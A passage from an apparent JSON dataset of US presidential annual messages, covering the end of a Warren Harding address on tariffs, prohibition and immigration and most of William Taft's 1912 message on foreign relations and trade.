we\nunconsciously have assumed the responsibility for maintained service;\ntherefore the lawful power for the enforcement of decisions is necessary\nto sustain the majesty of government and to administer to the public\nwelfare.During its longer session the present Congress enacted a new tariff law.\nThe protection of the American standards of living demanded the insurance\nit provides against the distorted conditions of world commerce The framers\nof the law made provision for a certain flexibility of customs duties,\nwhereby it is possible to readjust them as developing conditions may\nrequire. The enactment has imposed a large responsibility upon the\nExecutive, but that responsibility will be discharged with a broad\nmindfulness of the whole business situation. The provision itself admits\neither the possible fallibility of rates or their unsuitableness to\nchanging conditions. I believe the grant of authority may be promptly and\ndiscreetly exercised, ever mindful of the intent and purpose to safeguard\nAmerican industrial activity, and at the same time prevent the exploitation\nof the American consumer and keep open the paths of such liberal exchanges\nas do not endanger our own productivity.No one contemplates commercial aloofness nor any other aloofness\ncontradictory to the best American traditions or loftiest human purposes.\nOur fortunate capacity for comparative self-containment affords the firm\nfoundation on which to build for our own security, and a like foundation on\nwhich to build for a future of influence and importance in world commerce.\nOur trade expansion must come of capacity and of policies of righteousness\nand reasonableness in till our commercial relations.Let no one assume that our provision for maintained good fortune at home,\nand our unwillingness to assume the correction of all the ills of the\nworld, means a reluctance to cooperate with other peoples or to assume\nevery just obligation to promote human advancement anywhere in the world.War made its a creditor Nation. We did not seek an excess possession of the\nworld's gold, and we have neither desire to profit Unduly by its possession\nnor permanently retain it. We do not seek to become an international\ndictator because of its power.The voice of the United States has a respectful hearing in international\ncouncils, because we have convinced the world that we have no selfish ends\nto serve, no old grievances to avenge, no territorial or other greed to\nsatisfy. But the voice being heard is that of good counsel, not of\ndictation. It is the voice of sympathy and fraternity and helpfulness,\nseeking to assist but not assume for the United States burdens which\nnations must bear for themselves. We would rejoice to help rehabilitate\ncurrency systems and facilitate all commerce which does not drag us to the\nvery levels of those we seek to lift up.While I have everlasting faith in our Republic, it would be folly, indeed,\nto blind ourselves to our problems at home. Abusing the hospitality of our\nshores are the advocates of revolution, finding their deluded followers\namong those who take on the habiliments of an American without knowing an\nAmerican soul. There is the recrudescence of hyphenated Americanism which\nwe thought to have been stamped out when we committed the Nation, life and\nsoul, to the World War.There is a call to make the alien respect our institutions while he\naccepts our hospitality. There is need to magnify the American viewpoint to\nthe alien who seeks a citizenship among us. There is need to magnify the\nnational viewpoint to Americans throughout the land. More there is a demand\nfor every living being in the United States to respect and abide by the\nlaws of the Republic. Let men who are rending the moral fiber of the\nRepublic through easy contempt for the prohibition law, because they think\nit restricts their personal liberty, remember that they set the example and\nbreed a contempt for law which will ultimately destroy the Republic.Constitutional prohibition has been adopted by the Nation. It is the\nsupreme law of the land. In plain speaking, there are conditions relating\nto its enforcement which savor of nation-wide scandal. It is the most\ndemoralizing factor in our public life.Most of our people assumed that the adoption of the eighteenth amendment\nmeant the elimination of the question from our politics. On the contrary,\nit has been so intensified as an issue that many voters are disposed to\nmake all political decisions with reference to this single question. It is\ndistracting the public mind and prejudicing the judgment of the\nelectorate.The day is unlikely to come when the eighteenth amendment will be repealed.\nThe fact may as well be recognized and our course adapted accordingly. If\nthe statutory provisions for its enforcement are contrary to deliberate\npublic opinion, which I do not believe the rigorous and literal enforcement\nwill concentrate public attention on any requisite modification. Such a\ncourse, conforms with the law and saves the humiliation of the Government\nand the humiliation of our people before the world, and challenges the\ndestructive forces engaged in widespread violation, official corruption and\nindividual demoralization.The eighteenth amendment involves the concurrent authority of State and\nFederal Governments, for the enforcement of the policy it defines. A\ncertain lack of definiteness, through division of responsibility is thus\nintroduced. In order to bring about a full understanding of duties and\nresponsibilities as thus distributed, I purpose to invite the governors of\nthe States and Territories, at an early opportunity, to a conference with\nthe Federal Executive authority. Out of the full and free considerations\nwhich will thus be possible, it is confidently believed, will emerge a more\nadequate, comprehension of the whole problem, and definite policies of\nNational and State cooperation in administering the laws.There are pending bills for the registration of the alien who has come to\nour shores. I wish the passage of such an act might be expedited. Life amid\nAmerican opportunities is worth the cost of registration if it is worth the\nseeking, and the Nation has the right to know who are citizens in the\nmaking or who live among us anti share our advantages while seeking to\nundermine our cherished institutions. This provision will enable us to\nguard against the abuses in immigration, checking the undesirable whose\nirregular Willing is his first violation of our laws. More, it will\nfacilitate the needed Americanizing of those who mean to enroll as fellow\ncitizens.Before enlarging the immigration quotas we had better provide registration\nfor aliens, those now here or continually pressing for admission, and\nestablish our examination boards abroad, to make sure of desirables only.\nBy the examination abroad we could end the pathos at our ports, when men\nand women find our doors closed, after long voyages and wasted savings,\nbecause they are unfit for admission It would be kindlier and safer to tell\nthem before they embark.Our program of admission and treatment of immigrants is very intimately\nrelated to the educational policy of the Republic With illiteracy estimated\nat front two-tenths of 1 per cent to less than 2 per cent in 10 of the\nforemost nations of Europe it rivets our attention to it serious problem\nwhen we are reminded of a 6 per cent illiteracy in the United States. The\nfigures are based on the test which defines an Illiterate as one having no\nschooling whatever. Remembering the wide freedom of our public schools\nwith compulsory attendance in many States in the Union, one is convinced\nthat much of our excessive illiteracy comes to us from abroad, and the\neducation of the immigrant becomes it requisite to his Americanization. It\nmust be done if he is fittingly to exercise the duties as well as enjoy the\nprivileges of American citizenship. Here is revealed the special field for\nFederal cooperation in furthering education.From the very beginning public education has been left mainly in the hands\nof the States. So far as schooling youth is concerned the policy has been\njustified, because no responsibility can be so effective as that of the\nlocal community alive to its task. I believe in the cooperation of the\nnational authority to stimulate, encourage, and broaden the work of the\nlocal authorities. But it is the especial obligation of the Federal\nGovernment to devise means and effectively assist in the education of the\nnewcomer from foreign lands, so that the level of American education may be\nmade the highest that is humanly possible.Closely related to this problem of education is the abolition of child\nlabor. Twice Congress has attempted the correction of the evils incident to\nchild employment. The decision of the Supreme Court has put this problem\noutside the proper domain of Federal regulation until the Constitution is\nso amended as to give the Congress indubitable authority. I recommend the\nsubmission of such an amendment.We have two schools of thought relating to amendment of the Constitution.\nOne need not be committed to the belief that amendment is weakening the\nfundamental law, or that excessive amendment is essential to meet every\nephemeral whim. We ought to amend to meet the demands of the people when\nsanctioned by deliberate public opinion.One year ago I suggested the submission of an amendment so that we may\nlawfully restrict the issues of tax-exempt securities, and I renew that\nrecommendation now. Tax-exempt securities are drying up the sources of\nFederal taxation and they are encouraging unproductive and extravagant\nexpenditures by States and municipalities. There is more than the menace in\nmounting public debt, there is the dissipation of capital which should be\nmade available to the needs of productive industry. The proposed amendment\nwill place the State and Federal Governments and all political subdivisions\non an exact equality, and will correct the growing menace of public\nborrowing, which if left unchecked may soon threaten the stability of our\ninstitutions.We are so vast and so varied in our national interests that scores of\nproblems are pressing for attention. I must not risk the wearying of your\npatience with detailed reference.Reclamation and irrigation projects, where waste land may be made available\nfor settlement and productivity, are worthy of your favorable\nconsideration.When it is realized that we are consuming our timber four times as rapidly\nas we are growing it, we must encourage the greatest possible cooperation\nbetween the Federal Government, the various States, and the owners of\nforest lands, to the end that protection from fire shall be made more\neffective and replanting encouraged.The fuel problem is under study now by a very capable fact-finding\ncommission, and any attempt to deal with the coal problem, of such deep\nconcern to the entire Nation, must await the report of the commission.There are necessary studies of great problems which Congress might well\ninitiate. The wide spread between production costs and prices which\nconsumers pay concerns every citizen of the Republic. It contributes very\nlargely to the unrest in agriculture and must stand sponsor for much\nagainst which we inveigh in that familiar term--the high cost of living.No one doubts the excess is traceable to the levy of the middleman, but it\nwould be unfair to charge him with all responsibility before we appraise\nwhat is exacted of him by our modernly complex life. We have attacked the\nproblem on one side by the promotion of cooperative marketing, and we might\nwell inquire into the benefits of cooperative buying. Admittedly, the\nconsumer is much to blame himself, because of his prodigal expenditure and\nhis exaction of service, but Government might well serve to point the way\nof narrowing the spread of price, especially between the production of food\nand its consumption.A superpower survey of the eastern industrial region has recently been\ncompleted, looking to unification of steam, water, and electric powers, and\nto a unified scheme of power distribution. The survey proved that vast\neconomies in tonnage movement of freights, and in the efficiency of the\nrailroads, would be effected if the superpower program were adopted. I am\nconvinced that constructive measures calculated to promote such an\nindustrial development--I am tempted to say, such an industrial\nrevolution-would be well worthy the careful attention and fostering\ninterest of the National Government.The proposed survey of a plan to draft all the resources of the Republic,\nhuman and material, for national defense may well have your approval. I\ncommended such a program in case of future war, in the inaugural address.\nof March 4, 1921, and every experience in the adjustment and liquidation of\nwar claims and the settlement of war obligations persuades me we ought to\nbe prepared for such universal call to armed defense.I bring you no apprehension of war. The world is abhorrent of it, and our\nown relations are not only free from every threatening cloud, but we have\ncontributed our larger influence toward making armed conflict less likely.Those who assume that we played our part in the World War and later took\nourselves aloof and apart, unmindful of world obligations, give scant\ncredit to the helpful part we assume in international relationships.Whether all nations signatory ratify all the treaties growing out of the\nWashington Conference on Limitation of Armament or some withhold approval,\nthe underlying policy of limiting naval armament has the sanction of the\nlarger naval powers, and naval competition is suspended. Of course,\nunanimous ratification is much to be desired.The four-power pact, which abolishes every probability of war on the\nPacific, has brought new confidence in a maintained peace, and I can well\nbelieve it might be made a model for like assurances wherever in the world\nany common interests are concerned.We have had expressed the hostility of the American people to a\nsupergovernment or to any commitment where either a council or an assembly\nof leagued powers may chart our course. Treaties of armed alliance can have\nno likelihood of American sanction, but we believe in respecting the rights\nof nations, in the value of conference and consultation, in the\neffectiveness of leaders of nations looking each other in the face ace\nbefore resorting to the arbitrament of arms.It has been our fortune both to preach and promote international\nunderstanding. The influence of the United States in bringing near the\nsettlement of an ancient dispute between South American nations is added\nproof of the glow of peace in ample understanding. In Washington to-day are\nmet the delegates of the Central American nations, gathered at the table of\ninternational understanding, to stabilize their Republics and remove every\nvestige of disagreement. They are met here by our invitation, not in our\naloofness, and they accept our hospitality because they have faith in our\nunselfishness and believe in our helpfulness. Perhaps we are selfish in\ncraving their confidence and friendship, but such a selfishness we proclaim\nto the world, regardless of hemisphere, or seas dividing.I would like the Congress and the people of the Nation to believe that in a\nfirm and considerate way we are insistent on American rights wherever they\nmay be questioned, and deny no rights of others in the assertion of our\nown. Moreover we are cognizant of the world's struggles for full\nreadjustment and rehabilitation, and we have shirked no duty which comes of\nsympathy, or fraternity, or highest fellowship among nations. Every\nobligation consonant with American ideals and sanctioned under our form of\ngovernment is willingly met. When we can not support we do not demand. Our\nconstitutional limitations do not forbid the exercise of a moral influence,\nthe measure of which is not less than the high purposes we have sought to\nserve.After all there is less difference about the part this great Republic shall\nplay in furthering peace and advancing humanity than in the manner of\nplaying it. We ask no one to assume responsibility for us; we assume no\nresponsibility which others must bear for themselves, unless nationality is\nhopelessly swallowed up in internationalism.", 
+    "name": "Warren Harding"
+}
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+{
+    "date": "December 3, 1912", 
+    "speech": "PART ITo the Senate and House of Representatives:The foreign relations of the United States actually and potentially affect\nthe state of the Union to a degree not widely realized and hardly surpassed\nby any other factor in the welfare of the whole Nation. The position of the\nUnited States in the moral, intellectual, and material relations of the\nfamily of nations should be a matter of vital interest to every patriotic\ncitizen. The national prosperity and power impose upon us duties which we\ncan not shirk if we are to be true to our ideals. The tremendous growth of\nthe export trade of the United States has already made that trade a very\nreal factor in the industrial and commercial prosperity of the country.\nWith the development of our industries the foreign commerce of the United\nStates must rapidly become a still more essential factor in its economic\nwelfare. Whether we have a farseeing and wise diplomacy and are not\nrecklessly plunged into unnecessary wars, and whether our foreign policies\nare based upon an intelligent grasp of present-day world conditions and a\nclear view of the potentialities of the future, or are governed by a\ntemporary and timid expediency or by narrow views befitting an infant\nnation, are questions in the alternative consideration of which must\nconvince any thoughtful citizen that no department of national polity\noffers greater opportunity for promoting the interests of the whole people\non the one hand, or greater chance on the other of permanent national\ninjury, than that which deals with the foreign relations of the United\nStates.The fundamental foreign policies of the United States should be raised high\nabove the conflict of partisanship and wholly dissociated from differences\nas to domestic policy. In its foreign affairs the United States should\npresent to the world a united front. The intellectual, financial, and\nindustrial interests of the country and the publicist, the wage earner, the\nfarmer, and citizen of whatever occupation must cooperate in a spirit of\nhigh patriotism to promote that national solidarity which is indispensable\nto national efficiency and to the attainment of national ideals.The relations of the United States with all foreign powers remain upon a\nsound basis of peace, harmony, and friendship. A greater insistence upon\njustice to American citizens or interests wherever it may have been denied\nand a stronger emphasis of the need of mutuality in commercial and other\nrelations have only served to strengthen our friendships with foreign\ncountries by placing those friendships upon a firm foundation of realities\nas well as aspirations.Before briefly reviewing the more important events of the last year in our\nforeign relations, which it is my duty to do as charged with their conduct\nand because diplomatic affairs are not of a nature to make it appropriate\nthat the Secretary of State make a formal annual report, I desire to touch\nupon some of the essentials to the safe management of the foreign relations\nof the United States and to endeavor, also, to define clearly certain\nconcrete policies which are the logical modern corollaries of the\nundisputed and traditional fundamentals of the foreign policy of the United\nStates.REORGANIZATION OF THE STATE DEPARTMENTAt the beginning of the present administration the United States, having\nfully entered upon its position as a world power, with the responsibilities\nthrust upon it by the results of the Spanish-American War, and already\nengaged in laying the groundwork of a vast foreign trade upon which it\nshould one day become more and more dependent, found itself without the\nmachinery for giving thorough attention to, and taking effective action\nupon, a mass of intricate business vital to American interests in every\ncountry in the world.The Department of State was an archaic and inadequate machine lacking most\nof the attributes of the foreign office of any great modern power. With an\nappropriation made upon my recommendation by the Congress on August 5,\n1909, the Department of State was completely reorganized. There were\ncreated Divisions of Latin American Affairs and of Far Eastern, Near\nEastern, and Western European Affairs. To these divisions were called from\nthe foreign service diplomatic and consular officers possessing experience\nand knowledge gained by actual service in different parts of the world and\nthus familiar with political and commercial conditions in the regions\nconcerned. The work was highly specialized. The result is that where\npreviously this Government from time to time would emphasize in its foreign\nrelations one or another policy, now American interests in every quarter of\nthe globe are being cultivated with equal assiduity. This principle of\npolitico-geographical division possesses also the good feature of making\npossible rotation between the officers of the departmental, the diplomatic,\nand the consular branches of the foreign service, and thus keeps the whole\ndiplomatic and consular establishments tinder the Department of State in\nclose touch and equally inspired with the aims and policy of the\nGovernment. Through the newly created Division of Information the foreign\nservice is kept fully informed of what transpires from day to day in the\ninternational relations of the country, and contemporary foreign comment\naffecting American interests is promptly brought to the attention of the\ndepartment. The law offices of the department were greatly strengthened.\nThere were added foreign trade advisers to cooperate with the diplomatic and\nconsular bureaus and the politico-geographical divisions in the innumerable\nmatters where commercial diplomacy or consular work calls for such special\nknowledge. The same officers, together with the rest of the new\norganization, are able at all times to give to American citizens accurate\ninformation as to conditions in foreign countries with which they have\nbusiness and likewise to cooperate more effectively with the Congress and\nalso with the other executive departments.MERIT SYSTEM IN CONSULAR AND DIPLOMATIC CORPSExpert knowledge and professional training must evidently be the essence of\nthis reorganization. Without a trained foreign service there would not be\nmen available for the work in the reorganized Department of State.\nPresident Cleveland had taken the first step toward introducing the merit\nsystem in the foreign service. That had been followed by the application of\nthe merit principle, with excellent results, to the entire consular branch.\nAlmost nothing, however, had been done in this direction with regard to the\nDiplomatic Service. In this age of commercial diplomacy it was evidently of\nthe first importance to train an adequate personnel in that branch of the\nservice. Therefore, on November 26, 1909, by an Executive order I placed\nthe Diplomatic Service up to the grade of secretary of embassy, inclusive,\nupon exactly the same strict nonpartisan basis of the merit system, rigid\nexamination for appointment and promotion only for efficiency, as had been\nmaintained without exception in the Consular Service.STATISTICS AS TO MERIT AND NONPARTISAN CHARACTER OF APPOINTMENTSHow faithful to the merit system and how nonpartisan has been the conduct\nof the Diplomatic and Consular Services in the last four years may be\njudged from the following: Three ambassadors now serving held their present\nrank at the beginning of my administration. Of the ten ambassadors whom I\nhave appointed, five were by promotion from the rank of minister. Nine\nministers now serving held their present rank at the beginning of my\nadministration. Of the thirty ministers whom I have appointed, eleven were\npromoted from the lower grades of the foreign service or from the\nDepartment of State. Of the nineteen missions in Latin America, where our\nrelations are close and our interest is great, fifteen chiefs of mission\nare service men, three having entered the service during this\nadministration. Thirty-seven secretaries of embassy or legation who have\nreceived their initial appointments after passing successfully the required\nexamination were chosen for ascertained fitness, without regard to\npolitical affiliations. A dearth of candidates from Southern and Western\nStates has alone made it impossible thus far completely to equalize all the\nStates' representations in the foreign service. In the effort to equalize\nthe representation of the various States in the Consular Service I have\nmade sixteen of the twenty-nine new appointments as consul which have\noccurred during my administration from the Southern States. This is 55 per\ncent. Every other consular appointment made, including the promotion of\neleven young men from the consular assistant and student interpreter corps,\nhas been by promotion or transfer, based solely upon efficiency shown in\nthe service.In order to assure to the business and other interests of the United States\na continuance of the resulting benefits of this reform, I earnestly renew\nmy previous recommendations of legislation making it permanent along some\nsuch lines as those of the measure now Pending in Congress.LARGER PROVISION FOR EMBASSIES AND LEGATIONS AND FOR OTHER EXPENSES OF OUR\nFOREIGN REPRESENTATIVES RECOMMENDEDIn connection with legislation for the amelioration of the foreign service,\nI wish to invite attention to the advisability of placing the salary\nappropriations upon a better basis. I believe that the best results would\nbe obtained by a moderate scale of salaries, with adequate funds for the\nexpense of proper representation, based in each case upon the scale and\ncost of living at each post, controlled by a system of accounting, and\nunder the general direction of the Department of State.In line with the object which I have sought of placing our foreign service\non a basis of permanency, I have at various times advocated provision by\nCongress for the acquisition of Government-owned buildings for the\nresidence and offices of our diplomatic officers, so as to place them more\nnearly on an equality with similar officers of other nations and to do away\nwith the discrimination which otherwise must necessarily be made, in some\ncases, in favor of men having large private fortunes. The act of Congress\nwhich I approved on February 17, 1911, was a right step in this direction.\nThe Secretary of State has already made the limited recommendations\npermitted by the act for any one year, and it is my hope that the bill\nintroduced in the House of Representatives to carry out these\nrecommendations will be favorably acted on by the Congress during its\npresent session.In some Latin-American countries the expense of government-owned legations\nwill be less than elsewhere, and it is certainly very urgent that in such\ncountries as some of the Republics of Central America and the Caribbean,\nwhere it is peculiarly difficult to rent suitable quarters, the\nrepresentatives of the United States should be justly and adequately\nprovided with dignified and suitable official residences. Indeed, it is\nhigh time that the dignity and power of this great Nation should be\nfittingly signalized by proper buildings for the occupancy of the Nation's\nrepresentatives everywhere abroad.DIPLOMACY A HAND MAID OF COMMERCIAL INTERCOURSE AND PEACEThe diplomacy of the present administration has sought to respond to modern\nideas of commercial intercourse. This policy has been characterized as\nsubstituting dollars for bullets. It is one that appeals alike to\nidealistic humanitarian sentiments, to the dictates of sound policy and\nstrategy, and to legitimate commercial aims. It I is an effort frankly\ndirected to the increase of American trade upon the axiomatic principle\nthat the Government of the United States shall extend all proper support to\nevery legitimate and beneficial American enterprise abroad. How great have\nbeen the results of this diplomacy, coupled with the maximum and minimum\nprovision of the tariff law, will be seen by some consideration of the\nwonderful increase in the export trade of the United States. Because\nmodern diplomacy is commercial, there has been a disposition in some\nquarters to attribute to it none but materialistic aims. How strikingly\nerroneous is such an impression may be seen from a study of the results by\nwhich the diplomacy of the United States can be judged.SUCCESSFUL EFFORTS IN PROMOTION OF PEACEIn the field of work toward the ideals of peace this Government negotiated,\nbut to my regret was unable to consummate, two arbitration treaties which\nset the highest mark of the aspiration of nations toward the substitution\nof arbitration and reason for war in the settlement of international\ndisputes. Through the efforts of American diplomacy several wars have been\nprevented or ended. I refer to the successful tripartite mediation of the\nArgentine Republic, Brazil, and the United States between Peru and Ecuador;\nthe bringing of the boundary dispute between Panama and Costa Rica to\npeaceful arbitration; the staying of warlike preparations when Haiti and\nthe Dominican Republic were on the verge of hostilities; the stopping of a\nwar in Nicaragua; the halting of internecine strife in Honduras. The\nGovernment of the United States was thanked for its influence toward the\nrestoration of amicable relations between the Argentine Republic and\nBolivia. The diplomacy of the United States is active in seeking to assuage\nthe remaining ill-feeling between this country and the Republic of\nColombia. In the recent civil war in China the United States successfully\njoined with the other interested powers in urging an early cessation of\nhostilities. An agreement has been reached between the Governments of Chile\nand Peru whereby the celebrated Tacna-Arica dispute, which has so long\nembittered international relations on the west coast of South America, has\nat last been adjusted. Simultaneously came the news that the boundary\ndispute between Peru and Ecuador had entered upon a stage of amicable\nsettlement. The position of the United States in reference to the\nTacna-Arica dispute between Chile and Peru has been one of nonintervention,\nbut one of friendly influence and pacific counsel throughout the period\nduring which the dispute in question has been the subject of interchange of\nviews between this Government and the two Governments immediately\nconcerned. In the general easing of international tension on the west coast\nof South America the tripartite mediation, to which I have referred, has\nbeen a most potent and beneficent factor.CHINAIn China the policy of encouraging financial investment to enable that\ncountry to help itself has had the result of giving new life and practical\napplication to the open-door policy. The consistent purpose of the present\nadministration has been to encourage the use of American capital in the\ndevelopment of China by the promotion of those essential reforms to which\nChina is pledged by treaties with the United States and other powers. The\nhypothecation to foreign bankers in connection with certain industrial\nenterprises, such as the Hukuang railways, of the national revenues upon\nwhich these reforms depended, led the Department of State early in the\nadministration to demand for American citizens participation in such\nenterprises, in order that the United States might have equal rights and an\nequal voice in all questions pertaining to the disposition of the public\nrevenues concerned. The same policy of promoting international accord among\nthe powers having similar treaty rights as ourselves in the matters of\nreform, which could not be put into practical effect without the common\nconsent of all, was likewise adopted in the case of the loan desired by\nChina for the reform of its currency. The principle of international\ncooperation in matters of common interest upon which our policy had already\nbeen based in all of the above instances has admittedly been a great factor\nin that concert of the powers which has been so happily conspicuous during\nthe perilous period of transition through which the great Chinese nation\nhas been passing.CENTRAL AMERICA NEEDS OUR HELP IN DEBT ADJUSTMENTIn Central America the aim has been to help such countries as Nicaragua and\nHonduras to help themselves. They are the immediate beneficiaries. The\nnational benefit to the United States is twofold. First, it is obvious\nthat the Monroe doctrine is more vital in the neighborhood of the Panama\nCanal and the zone of the Caribbean than anywhere else. There, too, the\nmaintenance of that doctrine falls most heavily upon the United States. It\nis therefore essential that the countries within that sphere shall be\nremoved from the jeopardy involved by heavy foreign debt and chaotic\nnational finances and from the ever-present danger of international\ncomplications due to disorder at home. Hence the United States has been\nglad to encourage and support American bankers who were willing to lend a\nhelping hand to the financial rehabilitation of such countries because this\nfinancial rehabilitation and the protection of their customhouses from\nbeing the prey of would be dictators would remove at one stroke the menace\nof foreign creditors and the menace of revolutionary disorder.The second advantage of the United States is one affecting chiefly all the\nsouthern and Gulf ports and the business and industry of the South. The\nRepublics of Central America and the Caribbean possess great natural\nwealth. They need only a measure of stability and the means of financial\nregeneration to enter upon an era of peace and prosperity, bringing profit\nand happiness to themselves and at the same time creating conditions sure\nto lead to a flourishing interchange of trade with this country.I wish to call your especial attention to the recent occurrences in\nNicaragua, for I believe the terrible events recorded there during the\nrevolution of the past summer-the useless loss of life, the devastation of\nproperty, the bombardment of defenseless cities, the killing and wounding\nof women and children, the torturing of noncombatants to exact\ncontributions, and the suffering of thousands of human beings-might have\nbeen averted had the Department of State, through approval of the loan\nconvention by the Senate, been permitted to carry out its now\nwell-developed policy of encouraging the extending of financial aid to weak\nCentral American States with the primary objects of avoiding just such\nrevolutions by assisting those Republics to rehabilitate their finances, to\nestablish their currency on a stable basis, to remove the customhouses from\nthe danger of revolutions by arranging for their secure administration, and\nto establish reliable banks.During this last revolution in Nicaragua, the Government of that Republic\nhaving admitted its inability to protect American life and property against\nacts of sheer lawlessness on the part of the malcontents, and having\nrequested this Government to assume that office, it became necessary to\nland over 2,000 marines and bluejackets in Nicaragua. Owing to their\npresence the constituted Government of Nicaragua was free to devote its\nattention wholly to its internal troubles, and was thus enabled to stamp\nout the rebellion in a short space of time. When the Red Cross supplies\nsent to Granada had been exhausted, 8,000 persons having been given food in\none day upon the arrival of the American forces, our men supplied other\nunfortunate, needy Nicaraguans from their own haversacks. I wish to\ncongratulate the officers and men of the United States navy and Marine\nCorps who took part in reestablishing order in Nicaragua upon their\nsplendid conduct, and to record with sorrow the death of seven American\nmarines and bluejackets. Since the reestablishment of peace and order,\nelections have been held amid conditions of quiet and tranquility. Nearly\nall the American marines have now been withdrawn. The country should soon\nbe on the road to recovery. The only apparent danger now threatening\nNicaragua arises from the shortage of funds. Although American bankers have\nalready rendered assistance, they may naturally be loath to advance a loan\nadequate to set the country upon its feet without the support of some such\nconvention as that of June, 1911, upon which the Senate has not yet acted.ENFORCEMENT OF NEUTRALITY LAWSIn the general effort to contribute to the enjoyment of peace by those\nRepublics which are near neighbors of the United States, the administration\nhas enforced the so-called neutrality statutes with a new vigor, and those\nstatutes were greatly strengthened in restricting the exportation of arms\nand munitions by the joint resolution of last March. It is still a\nregrettable fact that certain American ports are made the rendezvous of\nprofessional revolutionists and others engaged in intrigue against the\npeace of those Republics. It must be admitted that occasionally a\nrevolution in this region is justified as a real popular movement to throw\noff the shackles of a vicious and tyrannical government. Such was the\nNicaraguan revolution against the Zelaya regime. A nation enjoying our\nliberal institutions can not escape sympathy with a true popular movement,\nand one so well justified. In very many cases, however, revolutions in the\nRepublics in question have no basis in principle, but are due merely to the\nmachinations of conscienceless and ambitious men, and have no effect but to\nbring new suffering and fresh burdens to an already oppressed people. The\nquestion whether the use of American ports as foci of revolutionary\nintrigue can be best dealt with by a further amendment to the neutrality\nstatutes or whether it would be safer to deal with special cases by special\nlaws is one worthy of the careful consideration of the Congress.VISIT OF SECRETARY KNOX TO CENTRAL AMERICA AND THE CARIBBEANImpressed with the particular importance of the relations between the\nUnited States and the Republics of Central America and the Caribbean\nregion, which of necessity must become still more intimate by reason of the\nmutual advantages which will be presented by the opening of the Panama\nCanal, I directed the Secretary of State last February to visit these\nRepublics for the purpose of giving evidence of the sincere friendship and\ngood will which the Government and people of the United States bear toward\nthem. Ten Republics were visited. Everywhere he was received with a\ncordiality of welcome and a generosity of hospitality such as to impress me\ndeeply and to merit our warmest thanks. The appreciation of the Governments\nand people of the countries visited, which has been appropriately shown in\nvarious ways, leaves me no doubt that his visit will conduce to that closer\nunion and better understanding between the United States and those\nRepublics which I have had it much at heart to promote.OUR MEXICAN POLICYFor two years revolution and counter-revolution has distraught the\nneighboring Republic of Mexico. Brigandage has involved a great deal of\ndepredation upon foreign interests. There have constantly recurred\nquestions of extreme delicacy. On several occasions very difficult\nsituations have arisen on our frontier. Throughout this trying period, the\npolicy of the United States has been one of patient nonintervention,\nsteadfast recognition of constituted authority in the neighboring nation,\nand the exertion of every effort to care for American interests. I\nprofoundly hope that the Mexican nation may soon resume the path of order,\nprosperity, and progress. To that nation in its sore troubles, the\nsympathetic friendship of the United States has been demonstrated to a high\ndegree. There were in Mexico at the beginning of the revolution some thirty\nor forty thousand American citizens engaged in enterprises contributing\ngreatly to the prosperity of that Republic and also benefiting the\nimportant trade between the two countries. The investment of American\ncapital in Mexico has been estimated at $1,000,000,000. The responsibility\nof endeavoring to safeguard those interests and the dangers inseparable\nfrom propinquity to so turbulent a situation have been great, but I am\nhappy to have been able to adhere to the policy above outlined-a policy\nwhich I hope may be soon justified by the complete success of the Mexican\npeople in regaining the blessings of peace and good order.AGRICULTURAL CREDITSA most important work, accomplished in the past year by the American\ndiplomatic officers in Europe, is the investigation of the agricultural\ncredit system in the European countries. Both as a means to afford relief\nto the consumers of this country through a more thorough development of\nagricultural resources and as a means of more sufficiently maintaining the\nagricultural population, the project to establish credit facilities for the\nfarmers is a concern of vital importance to this Nation. No evidence of\nprosperity among well-established farmers should blind us to the fact that\nlack of capital is preventing a development of the Nation's agricultural\nresources and an adequate increase of the land under cultivation; that\nagricultural production is fast falling behind the increase in population;\nand that, in fact, although these well-established farmers are maintained\nin increasing prosperity because of the natural increase in population, we\nare not developing the industry of agriculture. We are not breeding in\nproportionate numbers a race of independent and independence-loving\nlandowners, for a lack of which no growth of cities can compensate. Our\nfarmers have been our mainstay in times of crisis, and in future it must\nstill largely be upon their stability and common sense that this democracy\nmust rely to conserve its principles of self-government.The need of capital which American farmers feel to-day had been experienced\nby the farmers of Europe, with their centuries-old farms, many years ago.\nThe problem had been successfully solved in the Old World and it was\nevident that the farmers of this country might profit by a study of their\nsystems. I therefore ordered, through the Department of State, an\ninvestigation to be made by the diplomatic officers in Europe, and I have\nlaid the results of this investigation before the governors of the various\nStates with the hope that they will be used to advantage in their\nforthcoming meeting.INCREASE OF FOREIGN TRADEIn my last annual message I said that the fiscal year ended June 30, 1911,\nwas noteworthy as marking the highest record of exports of American\nproducts to foreign countries. The fiscal year 1912 shows that this rate of\nadvance has been maintained, the total domestic exports having a valuation\napproximately Of $2,200,000,000, as compared with a fraction over\n$2,000,000,000 the previous year. It is also significant that manufactured\nand partly manufactured articles continue to be the chief commodities\nforming the volume of our augmented exports, the demands of our own people\nfor consumption requiring that an increasing proportion of our abundant\nagricultural products be kept at home. In the fiscal year 1911 the exports\nof articles in the various stages of manufacture, not including foodstuffs\npartly or wholly manufactured, amounted approximately to $907,500,000. In\nthe fiscal year 1912 the total was nearly $1,022,000,000, a gain Of\n$114,000,000.ADVANTAGE OF MAXIMUM AND MINIMUM TARIFF PROVISIONThe importance which our manufactures have assumed in the commerce of the\nworld in competition with the manufactures of other countries again draws\nattention to the duty of this Government to use its utmost endeavors to\nsecure impartial treatment for American products in all markets. Healthy\ncommercial rivalry in international intercourse is best assured by the\npossession of proper means for protecting and promoting our foreign trade.\nIt is natural that competitive countries should view with some concern this\nsteady expansion of our commerce. If in some instance the measures taken by\nthem to meet it are not entirely equitable, a remedy should be found. In\nformer messages I have described the negotiations of the Department of\nState with foreign Governments for the adjustment of the maximum and\nminimum tariff as provided in section 2 of the tariff law of 1909. The\nadvantages secured by the adjustment of our trade relations under this law\nhave continued during the last year, and some additional cases of\ndiscriminatory treatment of which we had reason to complain have been\nremoved. The Department of State has for the first time in the history of\nthis country obtained substantial most-favored-nation treatment from all\nthe countries of the world. There are, however, other instances which,\nwhile apparently not constituting undue discrimination in the sense of\nsection 2, are nevertheless exceptions to the complete equity of tariff\ntreatment for American products that the Department of State consistently\nhas sought to obtain for American commerce abroad.NECESSITY FOR SUPPLEMENTARY LEGISLATIONThese developments confirm the opinion conveyed to you in my annual message\nof 1911, that while the maximum and minimum provision of the tariff law of\n1909 has been fully justified by the success achieved in removing\npreviously existing undue discriminations against American products, yet\nexperience has shown that this feature of the law should be amended in such\nway as to provide a fully effective means of meeting the varying degrees of\ndiscriminatory treatment of American commerce in foreign countries still\nencountered, as well as to protect against injurious treatment on the part\nof foreign Governments, through either legislative or administrative\nmeasures, the financial interests abroad of American citizens whose\nenterprises enlarge the market for American commodities.I can not too strongly recommend to the Congress the passage of some such\nenabling measure as the 